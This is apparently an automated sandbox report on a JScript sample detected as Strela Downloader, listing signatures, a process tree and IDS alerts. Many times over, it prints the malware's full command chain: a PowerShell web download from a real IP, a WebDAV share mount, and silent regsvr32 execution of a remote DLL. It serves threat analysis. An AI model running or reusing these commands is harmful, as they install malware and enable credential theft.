Edit tour

Windows Analysis Report
2556095152538830312.js

Overview

General Information

Sample name:	2556095152538830312.js
Analysis ID:	1588597
MD5:	3647edf2fb902ffd37433be5e05984ea
SHA1:	a94bc058c21b956d9158ea799def13f23efd3184
SHA256:	aaaaeccd50b3b5328dc46d25bc2b8722e9d8185f4f4b7c68f97118964dbfb3b0
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7528 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7644 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7696 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7864 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8076 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5296 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1648,i,2223938376289091916,8819030129141357301,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7880 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7988 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8180 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7528	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7644, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7696, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7644, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7696, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js", ProcessId: 7528, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7988, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49742

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7528, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, ProcessId: 7644, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7528, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, ProcessId: 7644, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7528, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, ProcessId: 7644, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7528, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, ProcessId: 7644, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7528, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, ProcessId: 7644, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7528, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, ProcessId: 7644, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js", ProcessId: 7528, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7644, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7696, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7880, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7988, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8180, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7880, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7988, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7528, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll, ProcessId: 7644, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:58:06.641020+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49726	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:58:09.096618+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49742	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:58:06.641020+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49726	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2556095152538830312.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2556095152538830312.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49726 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49742 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:58:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 